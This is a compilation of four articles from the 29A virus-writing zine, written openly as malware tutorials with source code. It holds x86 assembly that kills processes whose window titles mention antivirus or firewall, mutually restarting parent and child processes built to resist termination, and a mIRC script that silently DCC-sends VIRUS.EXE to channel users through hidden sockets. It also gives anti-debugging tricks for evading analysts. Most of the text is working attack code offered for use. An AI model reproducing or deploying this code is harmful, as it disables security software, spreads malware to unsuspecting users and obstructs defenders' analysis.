ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KILLING.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .[ Killing programz by title string ]. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄPowered by YuP - Deithwen Addan - for 29A zinEÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä1.Intro - it's time to rockÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Yuck! It's me again. This evening i have found a useful idea. Since after i read Benny/29a article about killing AV monitors, i want to do sth similiar. I haven't remaked his story, i made a new cool thing, maybe better!? who cares! but this is also interesting. U know that a magic API called "EnumWindows" "returns" all windowz registered in system. So AV Monitorz, FireWallz with windowz will be visible, and accessible. This is harder and more weird then Bennyz method now, but don't stop reading. The bad point of FindWindowA is lpWindowName. It must be identical with window name, if it isn't no handle will be returned! My method scannz all windowz for "denied namez" in the window's title bar - so i'm 99% sure that i wil find AV MONITOR! Second point is to fuck the window. I could use PostQuitMessage, but i want to make sth harder (and maybe more compatibile?)! I want to kill programz procez and of course i have killed them! (TerminateProcess r0x ;]) This file can terminate any process, so if you want just type other string and your mother will never play "SAPPER". A little briefing: @Name: Lord YuP - Deithwen Addan @Group: take me - i'm free! ;) @Country: Poland @E-mail: yup@tlen.pl @Irc: #virus - undernet #phreakpl - *.irc.pl @Greetingz: toro - say "POLISH LAGGING INTERNET" Spanska - GatoCOLD!? that was you!? Exeq - my best translator ;] "Przykro mi dzieci, jeden klocek z tej ukladanki zostal zajebany." YuP - Deithwen Addan ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä2.Source - tickle tickle Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;This is the very UNOPTIMISED source! Have fun! U can remake ;if you want. ;(c) YuP - Deithwen Addan 23.01.02 .386p .model flat callx macro x extrn x:proc call x endm .data db "Shut up tlink!",0 .code kill: call delta delta: pop ebp sub ebp,offset delta mov edi,ebp ;DELTA HANDLER TO EDI enum_l: push dword ptr [ebp+lp] lea eax,[ebp+enum_proc] push eax callx EnumWindows test eax,eax jz exit jmp enum_l found: mov edi,ebp call kill_procez jmp w_fail ;but infact it didn't fail ;P exit: push 0 callx ExitProcess enum_proc: ;WH = WINDOW HANDLE mov eax,[esp+4] mov dword ptr [edi+wh],eax pushad call alloc_memory ;CHECKING WINDOW THREAD push dword ptr [edi+lock] push dword ptr [edi+wh] callx GetWindowThreadProcessId test eax,eax jz w_fail ;RESOLVING THE PID! mov eax,dword ptr [edi+lock] mov ebx,[eax] mov dword ptr [edi+pid],ebx ;GETING WINDOW TEXT! push 256 lea eax,[edi+buff] push eax push dword ptr [edi+wh] callx GetWindowTextA call compare_stringz w_fail: call dalloc_memory popad ret ;**************************** ;FUNCTION ALLOCZ MEMORY ;04 = DWORD ;**************************** alloc_memory: push 04 push 2000h callx GlobalAlloc mov [edi+glob],eax push dword ptr [edi+glob] callx GlobalLock mov dword ptr [edi+lock],eax ret ;**************************** ;FUNCTION DEALLOCZ MEMORY ;**************************** dalloc_memory: push dword ptr [edi+lock] callx GlobalUnlock push dword ptr [edi+glob] callx GlobalFree ret ;**************************** ;check string inside buff ;quite not optimised! ;EDI=delta handling ;**************************** compare_stringz: mov ebp,edi lea esi,[ebp+denied_namez] mov ecx,denied_count main_loop: lodsb test al,al jz go_go search_for_it: pushad mov ah,al mov edi,esi xor ebx,ebx mov bh,ah lea esi,[ebp+buff] s_loop: lodsb cmp al,0 je end_search cmp al,ah je got_sth jmp s_loop got_sth: mov edx,esi got_sthh: mov esi,edx lodsb mov ah,al ;window text -> ah mov esi,edi lodsb ;denied text -> al inc edi inc edx cmp al,0 je found cmp ah,al jne try_next jmp got_sthh try_next: mov ah,bh mov esi,edx jmp s_loop end_search: mov esi,edi popad go_go: next_name: lodsb cmp al,0 jne next_name loop main_loop mov edi,ebp ret ;**************************** ;FUNCTION KILLZ PROCEzZ ;**************************** kill_procez: push dword ptr [edi+pid] push 0 push 1 callx OpenProcess push -9 push eax callx TerminateProcess ret ;**********************DATA lp dd 0 buff db 256 dup (0) glob dd 0 lock dd 0 wh dd 0 pid dd 0 info db "Powered by YuP - Deithwen Addan",0 denied_namez: db "Virus",0 db "Anti",0 db "FireWall",0 db "Enrike",0 ;i hate him! ;) denied_count = 4 ;u must change this point by hand ;) end kill ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KILLING.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PROTECT.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .[ Child protect Parent and reverse ]. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄPowered by YuP - Deithwen Addan - for 29A zinEÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä1.Intro - think by head Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Urgh! That's me again, so go and activate for a new part of shitty knowledge. As you guess i gonna kick AVZ one more time. In this article i will introduce some *VPROT* method. Everybody have seen application called as "ProcViewer", "Procdump" and so on. Blah we can kill some appliactions f.e EXPLORER ;P but we can't terminate 2 process at one strike. So if we will code PARENT and CHILDREN (defending itselfz) no one can kill as, that isn't ring0 but infact it w0rx, and simply fuckz AVz and users. So lets make the things better... @Name: Lord YuP - Deithwen Addan - Artist of Rebelion @Group: take me - i'm free! ;) @Country: Poland @E-mail: yup@tlen.pl @Irc: #virus - undernet #phreakpl - *.irc.pl Few days ago i saw a short interview with some old guy: REPORTER> What do you dream of? OLD_GUY> My only dream is to fall sleep, and never wake up again. TO POLITIC[S]: Sth is wrong in this country! Sth sucks here, i guess that you all SUCK! Country isn't thing which you can buy and sell, you can't take of our FREEDOM and our DREAMZ! So look out, bomb tickz. And you called it democracy, heh ... @Greetingz: toro - say "POLISH LAGGING INTERNET" Spanska - nice OPENGL effectz ;] SlageHammer - italiano viruso collectolaro ;P BFF70000h - your RULEZ! SPLOIT MASTAH ;] And one thing left, to people who have heavy life: Wait, don't pass, fight, fight, never allow anybody to take your hope, H.O.P.E - that's make your life colorful! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä2.Source - beacouse it is lifeÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PARENT.ASM]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .386 .model flat callx macro x extrn x:proc call x endm .data db "deithwen addan flared one more time ... ",0 .code parent: call delta delta: pop ebp sub ebp,offset delta @create_parent_mutex: lea eax,[ebp+parent_mutex] push eax xor eax,eax push eax push eax callx CreateMutexA test eax,eax jz exit mov edi,eax jmp @scan @run_child: push 1 lea eax,[ebp+child_app] push eax callx WinExec cmp eax,31 jle exit2 push 500 callx Sleep @scan: lea eax,[ebp+child_mutex] push eax xor eax,eax push eax push eax callx OpenMutexA cmp eax,0 je @run_child push eax callx CloseHandle push 500 callx Sleep jmp @scan exit2: push edi callx ReleaseMutex exit: push 0 callx ExitProcess ;@DATA parent_mutex db "PARENT_MUTEX",0 child_mutex db "CHILD_MUTEX",0 child_app db "CHILD.EXE",0 end parent ;------------------------------------------------------------------------- ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHILD.ASM]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .386 .model flat callx macro x extrn x:proc call x endm .data db "everywhere blackness, everyone lie, don't trust ...",0 .code parent: call delta delta: pop ebp sub ebp,offset delta @create_parent_mutex: lea eax,[ebp+child_mutex] push eax xor eax,eax push eax push eax callx CreateMutexA test eax,eax jz exit mov edi,eax jmp @scan @run_parent: push 1 lea eax,[ebp+parent_app] push eax callx WinExec cmp eax,31 jle exit2 push 500 callx Sleep @scan: lea eax,[ebp+parent_mutex] push eax xor eax,eax push eax push eax callx OpenMutexA cmp eax,0 je @run_parent push eax callx CloseHandle @scan_: push 500 callx Sleep jmp @scan exit2: push edi callx ReleaseMutex exit: push 0 callx ExitProcess ;@DATA parent_mutex db "PARENT_MUTEX",0 child_mutex db "CHILD_MUTEX",0 parent_app db "PARENT.EXE",0 end parent ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PROTECT.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SILENTDCC.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .[ mIRC Scripting: Silent DCC SEND ]. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄPowered by YuP - Deithwen Addan - for 29A zinEÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä1.Intro - take up the armsÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Reading and analyzing virusez (vbs (shit), asm, winasm) and more i found in 50% percent of them, mirc script dropper. Fuck :P if you are going to make sth good don't use this line: On 1:join:#:{ .if ($nick != $me) {.dcc send $nick shit.exe }} You used it? So you are lame! but don't worry i have written sth for you, so turn up the lightz X-D and read carefully. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä2.Stealth is your weaponÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Blah one thing left, i'm only trying to help you with script body, how would you drop it? itz your problem! ;] How this script w0rx? Blah, when user will join any channel script will check that $nick != $me, next it will sleep 5 secondz and check user for op mode :P as you should know already operz = no dcc connection. Second point. Script isn't using any DCC WINDOW! It usez own DCC CLIENT/SERVER (Sockets!), user will never guess that he is infected :} At the end i'd like to say that this script can be buggy (to much userz) but can be modified and remaked (add some remonte commands and crypt variablez - i have made some poly (random variablez)). Have fun! cya f0lx ;] So letz go and make the thingz better: ";@@@" - are commentz (asm? :p i included this '@@@'to make it more visible) ;----------------------CUT HERE--------------------- on 1:start: { .set %filee VIRUS.EXE } on 1:join:#: { .if ($nick != $me && %old != $nick) { ;@@@no dcc repeatz to the same user .set %old $nick ;@@@%old = $nick .timer $+ $rand(1,100000) 1 5 .$check_him( $nick , $chan ) ;@@@random timer name and wait 5 second and check user } } ;@@@entry $1 = NICK , $2 = (COCO) CHANNEL ;] alias check_him { .set %port $rand(9999,999999) ;@@@random port :) .while ($portfree(%port) == $false) { .set %port $rand(9999,999999) } ;@@@repeat until the port isn't free! .if ($1 !isop $2) { ;@@@if the victim isn't a oper -> DCC HIM! .notice $1 :DCC Send teletubies ( $+ $ip $+ ) ;@@@some notice .set %sock_name $rand(1,99999) ;@@@%sock_name = random .msg $1 DCC SEND %filee $longip($ip) %port $file(%filee).size $+  ;@@@init dcc connection by msg .socklisten %sock_name %port ;@@@and listen ;] .timers off ;@@@all timers halted! .timer $+ $rand(1,99999) 0 10 .cloze ;@@@wait 10 secondz and close port } } ;@@@executed on connect! on 1:socklisten:%sock_name: { .set %client_name $rand(1,9999999) ;@@@client_name=random .sockaccept %client_name ;@@@accept connection .sockclose %sock_name ;@@@close main socket .set %l 0 ;@@@reset byte counter .bread %filee %l 4000 &le ;@@@read our file (4000 bytez) ;;@@@to &le bin variable .sockwrite -b %client_name 4000 &le ;@@@write read bytez to client %l = %l + 4000 ;@@@increase byte counter .set %end 0 ;@@@reset end flag } ;@@@victim readz ourz bytes? :P on 1:sockread:%client_name: { .if (%l >= $file(%filee).size) { ;@@@check end transfer .set %end 1 ;@@@yep end set the flag .sockclose %client_name ;@@@close our socket .halt ;@@@stop } .else { ;@@@else - not all bytez sent .if (%end != 1) { ;@@@check the flag .bread %filee %l 4000 &le ;@@@read next 4000 bytez from our file .sockwrite -b %client_name 4000 &le ;@@@and write it to victim %l = %l + 4000 ;@@@increase counter } } } ;@@@Cloze the socket ;] alias cloze { .sockclose %sock_name } ;----------------------CUT HERE--------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä3.Outro - look forward Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @Name: Lord YuP - Deithwen Addan - Jin Rôh: Hachirô Tôbe @Group: take me - i'm free! ;) @Country: Poland @E-mail: yup@tlen.pl @Irc: #virus - undernet #phreakpl - *.irc.pl @Greetingz: toro - la la la ;] SlageHammer - italiano viruso collectolaro ;P BFF70000h - your RULEZ! SPLOIT MASTAH ;] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SILENTDCC.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ANTIDEBUG.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .[ AntiDEBUGGING trickz! ]. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄPowered by YuP - Deithwen Addan - for 29A zinEÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä1.Intro - our power - time Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Kfii, ;-) when i was making some ring0 program for friend i found sth useful, maybe it is the easiest way to trap debugger? my methodz should be 100% compatibile with every win$hit even XP (API onez)? (but never tested). ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä2.Examplez - tick tick Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÷FIRST EXAMPLE÷ »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» ;---------------------------------CUT HERE------------------------ ; ;About: this litle method will trap single step action, requested ; by user (STEP by STEP ;)). Simply using GetTickCount()x2 ; the second GetTickCount() requested few bytes after the first ; one will be compared with the 1st one, if 1stGT!=2stGT we ; have single step action ;] easy but effective. ; ;Should work on every debugger kfi, user must step to nopz ;) ; ;-> somewhere inside bytez ;) trap_single_step: call GetTickCount ;get the tickz mov ebx,eax ;tick to EBX nop ;step the nopz nop ;kfi kfi call GetTickCount ;get current tickz sub eax,ebx ;EAX-EBX jnz SINGLE_STEP_DETECTED ;-> your linez here ;] ;---------------------------------CUT HERE------------------------- ÷SECOND EXAMPLE÷ »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» ;---------------------------------CUT HERE------------------------- ; ;About: another pice of code, this lil thingie will use SEH and ; int 3 to find *active* debugger. How this shit w0rx? ; You probably know that file without SEH frame cannot ; handle int3 (int3 generatez a breakpoint but without ; a debugger we have a nice fault!). He he but we will ; install SEH so if SEH will mark an error we are not ; debugged else we are debugged! ; ; Try it, realy effective ;] ; ; Sould work on every debugger which handlez INT3! SICE mhhh ? ; ;) ; ;-> somewhere in time ;) int_3_trap: lea eax, [ebp+fault] ; our SEH frame setup push eax push dword ptr fs:[0] mov fs:[0], esp int 3 ; without debug generatez ; a fault ;) and our SEH ; will handle it ;) call WE_ARE_DEBUGGED ; evil evil evil ;) ; play song from Teletubiez ; here ;) out_frame: pop dword ptr fs:[0] add esp, 4 ;->your code here ;) fault: mov esp, [esp+8] jmp out_frame ;---------------------------------CUT HERE------------------------- ÷LAST EXAMPLE÷ »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» (HARDCODED) ;---------------------------------CUT HERE------------------------- ; ;About: Yep, the last one ;( this trick also base on time. How? ; You should know that SICE is a ring0 program so when ; it is active it disablez (haltz) windows timer (cmos ; timer still tickz), maybe the API is frozen? while the ; SICE screen is active. Okey, so if the timer died, we ; have a small job to do ... look source ;] ; ;NOTE: this should work on SICE? (i don't have 100% sure) ; if i fucked sth reapair it ;) this is realy ; heavy - i think that idea is good, but this code ; skillz. ;( ; ;->here it comez ;) lea eax,[ebp+s1] push eax callx GetSystemTime ;you know that (#1) ;^^^^^^^^^^^^^^^^^^ ;-> if softice will be activated after this we got it!!! ;-> should be activated for few secz. ;(f.e step to this and wait a few secz.) mov al,00h ;get sec. from cmos out 70h,al in al,71h mov bl,al inc bl ;inc second c: mov al,00h ;get second out 70h,al in al,71h cmp al,bl ;if we want jump out new_sec>old_sec+2 jle c lea eax,[ebp+s1] push eax callx GetSystemTime ;Get time (#2) mov cx,word ptr [ebp+s0.wSecond] mov dx,word ptr [ebp+s1.wSecond] cmp cx,dx ;compare if the same je SOFTICE_ACTIVE ;---------------------------------CUT HERE------------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä3.Last wordz Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Huh you read it! ;) i guess that i help you a bit, as you can see AD methodz can be easy, only using API like in the 1 example. I hope that you liked it, i will be happy debugging any virus with my method inside ;) That's all keep on coding baby! @Name: Lord YuP - Deithwen Addan - Artist of Rebelion @Group: take me - i'm free! ;) @Country: Poland @E-mail: yup@tlen.pl @Irc: #virus - undernet #phreakpl - *.irc.pl @Greetingz: toro - kfiii ;] SlageHammer - italiano viruso collectolaro ;P BFF70000h - wassup? ;] kfi = pig voice ;) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ANTIDEBUG.TXT]ÄÄÄ